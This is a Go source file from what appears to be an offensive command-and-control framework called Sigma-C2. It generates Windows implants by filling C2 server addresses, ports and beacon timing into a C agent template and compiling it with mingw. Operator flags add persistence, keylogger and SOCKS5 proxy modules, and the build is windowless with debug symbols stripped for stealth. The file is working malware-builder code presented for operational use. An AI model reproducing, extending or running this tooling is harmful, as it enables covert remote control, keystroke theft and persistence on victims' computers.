Files
Sigma-C2/server/payload_generator.go

302 lines
8.6 KiB
Go

package main
import (
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
)
// Dictionary to create client ID
var (
adjectives = []string{
"Playful", "Wild", "Fierce", "Gentle", "Silent",
"Swift", "Sleepy", "Clever", "Brave", "Nimble",
}
animals = []string{
"Lion", "Panda", "Fox", "Wolf", "Tiger",
"Eagle", "Dolphin", "Penguin", "Koala", "Owl",
}
)
func ParseGenerateCommand(cmdParts []string, operatorConn net.Conn) {
// Extract flags
flagArgs := cmdParts[3:]
flags := flag.NewFlagSet("generate", flag.ContinueOnError)
var persistence, keylogger, proxy bool // Optional flags
var interval, delay int
flags.IntVar(&interval, "interval", 5, "Set interval between connections")
flags.IntVar(&delay, "delay", 5, "Set startup interval")
flags.BoolVar(&persistence, "persistence", false, "Add persistence module")
flags.BoolVar(&keylogger, "keylogger", false, "Add keylogger module")
flags.BoolVar(&proxy, "proxy", false, "Add proxy module")
// Parse flags
if err := flags.Parse(flagArgs); err != nil {
operatorConn.Write([]byte("Error parsing flags. Usage: generate <agent|beacon> <listener name> [--persistence --keylogger --proxy]\n"))
}
log.Printf("Connection interval is set to %d seconds", interval)
if persistence {
log.Printf("Persistence module added")
}
if keylogger {
log.Printf("Keylogger module added")
}
if proxy {
log.Printf("SOCKS5 proxy enabled")
}
operatorConn.Write([]byte("Generating payload"))
payloadType := cmdParts[1]
listenerName := cmdParts[2]
GeneratePayload(payloadType, listenerName, interval, delay, persistence, keylogger, proxy, operatorConn)
}
// This big ass func opens agent.c, changes some placeholder values and writes it to temporary file
// agent_*.c which later is passed to compiler
func GeneratePayload(payloadType, listenerName string, conn_interval, startup_delay int, persistence, keylogger, proxy bool, operatorConn net.Conn) {
// Retrieve listener info by name
value, ok := listeners.Load(listenerName)
if !ok {
operatorConn.Write([]byte(fmt.Sprintf("Listener '%s' not found\n", listenerName)))
return
}
// Retrieve info needed for communication
listenerInfo := value.(*ListenerInfo)
hosts := listenerInfo.IP
port := listenerInfo.Port
transport := listenerInfo.Protocol
log.Printf("Transport: %s", transport)
var message string
// Currently agent does not support DNS channel
if transport == "dns" {
message = "Currently DNS communication channel is not fully functioning"
log.Print(message)
operatorConn.Write([]byte(message))
return
}
// Select the appropriate template
var templatePath string
switch payloadType {
case "agent":
log.Printf("Starting agent compilation")
templatePath = "./agent/src/agent.c"
// Currently only agent generation is supported
case "beacon":
message = "Currently only agent generation is supported"
log.Print(message)
operatorConn.Write([]byte(message))
return
default:
operatorConn.Write([]byte("Unknown implant type"))
return
}
// Read the template code
template, err := os.ReadFile(templatePath)
if err != nil {
log.Printf("Failed to read agent.c: %v", err)
return
}
// Create the serverDomains string for round robin logic
var serverDomains string
for i, host := range hosts {
if i > 0 {
serverDomains += ", "
}
serverDomains += fmt.Sprintf("\"%s\"", host) // Formatting the host addresses as required
}
// Generate agentID
rng := rand.New(rand.NewSource(time.Now().UnixNano()))
adj := adjectives[rng.Intn(len(adjectives))]
noun := animals[rng.Intn(len(animals))]
agentID := adj + noun
log.Printf("Generated Agent ID: %s", agentID)
// Replace the server address placeholder with the generated serverDomains string
code := string(template)
code = strings.ReplaceAll(code, "\"PLACEHOLDER_SERVER_ADDR\"", serverDomains)
// Replace server port placeholder with actual port
code = strings.ReplaceAll(code, "54321", port)
// Replace agentID placeholder with generated ID
code = strings.ReplaceAll(code, "PLACEHOLDER_AGENT_ID", agentID)
// Set interval between connections
conn_interval_str := strconv.Itoa(conn_interval * 1000)
code = strings.ReplaceAll(code, "5678", conn_interval_str)
// Set startup delay
startup_delay_str := strconv.Itoa(startup_delay * 1000)
code = strings.ReplaceAll(code, "12982", startup_delay_str)
// Write the modified code to a temporary file
tempFile, err := os.CreateTemp("./agent/src/", "agent_*.c")
if err != nil {
log.Printf("failed to create temp file: %v", err)
return
}
// Save template file to disk
_, err = tempFile.Write([]byte(code))
if err != nil {
log.Printf("failed to write to temp file: %v", err)
return
}
tempFile.Close()
// Remove temporary template file when function exits
defer func() {
err := os.Remove(tempFile.Name())
if err != nil {
log.Printf("Failed to remove temp file %s: %v", tempFile.Name(), err)
} else {
log.Printf("Removed temp file: %s", tempFile.Name())
}
}()
// Compiler flags
cflags := []string{
"-flto", // optimization, should be both at compile time and link time
"-Os", // Optimize for size, makes almost no difference
"-fdata-sections", // Optimize for size
"-ffunction-sections", // Optimize for size
"-DTESTING_BUILD=FALSE",
}
// Base source files (always included)
sourceFiles := []string{
tempFile.Name(), // This is temporary agent_*.c
"./agent/src/aes.c", //
}
if transport == "ssl" {
log.Printf("Using SSL transport")
cflags = append(cflags, "-DUSE_SSL=TRUE")
sourceFiles = append(sourceFiles, "./agent/src/transport/transport_schannel.c")
} else if transport == "https" {
log.Printf("Using HTTP transport")
cflags = append(cflags, "-DUSE_HTTPS=TRUE")
sourceFiles = append(sourceFiles, "./agent/src/transport/transport_http.c")
} else if transport == "tcp" {
log.Printf("Using TCP transport")
sourceFiles = append(sourceFiles, "./agent/src/transport/transport_tcp.c")
} else {
log.Printf("Unknown transport type")
return
}
// Additional modules configuration
if persistence || keylogger || proxy {
if persistence {
cflags = append(cflags, "-DENABLE_PERSISTENCE=TRUE")
}
if keylogger {
cflags = append(cflags, "-DENABLE_KEYLOGGER=TRUE")
}
if proxy {
cflags = append(cflags, "-DENABLE_PROXY=TRUE")
}
}
// Output path for the compiled executable
outputPath := strings.TrimSuffix(tempFile.Name(), filepath.Ext(tempFile.Name())) + ".exe"
// Create object files directory if it doesn't exist
objDir := "./agent/obj"
os.Mkdir(objDir, os.ModePerm)
// Compile each source file into an object file
var objectFiles []string
for _, sourceFile := range sourceFiles {
objectFile := filepath.Join(objDir, strings.TrimSuffix(filepath.Base(sourceFile), ".c")+".o")
// Compile arguments
compileArgs := cflags
compileArgs = append(compileArgs, "-c", sourceFile, "-o", objectFile)
compileCmd := exec.Command("x86_64-w64-mingw32-gcc", compileArgs...)
log.Printf("Compiling: %s\n", sourceFile)
output, err := compileCmd.CombinedOutput()
if err != nil {
message = fmt.Sprintf("Compilation failed for %s: %v\nOutput:\n%s", sourceFile, err, string(output))
log.Print(message)
operatorConn.Write([]byte(message))
return
}
objectFiles = append(objectFiles, objectFile)
}
// Remove object files
defer func() {
// Remove object files
for _, objectFile := range objectFiles {
err := os.Remove(objectFile)
if err != nil {
log.Printf("Failed to remove object file %s: %v", objectFile, err)
} else {
log.Printf("Removed object file: %s", objectFile)
}
}
}()
// Base link flags (always needed)
linkArgs := append(objectFiles,
"-flto", // optimization, should be both at compile time and link time
"-Wl,--gc-sections", // size opt, shoukd be together with -f flags during compile
"-s", // size opt and opsec (strip symbol/debug info), makes big difference in size
"-lws2_32", // Winsock
"-liphlpapi", // For process list
"-lsecur32", // For SSL (win schannel)
"-lwinhttp", // For HTTPS
"-mwindows", // flag for window-less mode
"-o", outputPath)
linkCmd := exec.Command("x86_64-w64-mingw32-gcc", linkArgs...)
log.Printf("Linking object files into executable: %s\n", outputPath)
output, err := linkCmd.CombinedOutput()
if err != nil {
message = fmt.Sprintf("Linking failed: %v\nOutput: %s", err, string(output))
log.Print(message)
operatorConn.Write([]byte(message))
return
}
// Notify the operator that the payload was generated successfully
message = fmt.Sprintf("Payload generated successfully: %s", outputPath)
log.Print(message)
operatorConn.Write([]byte(message))
}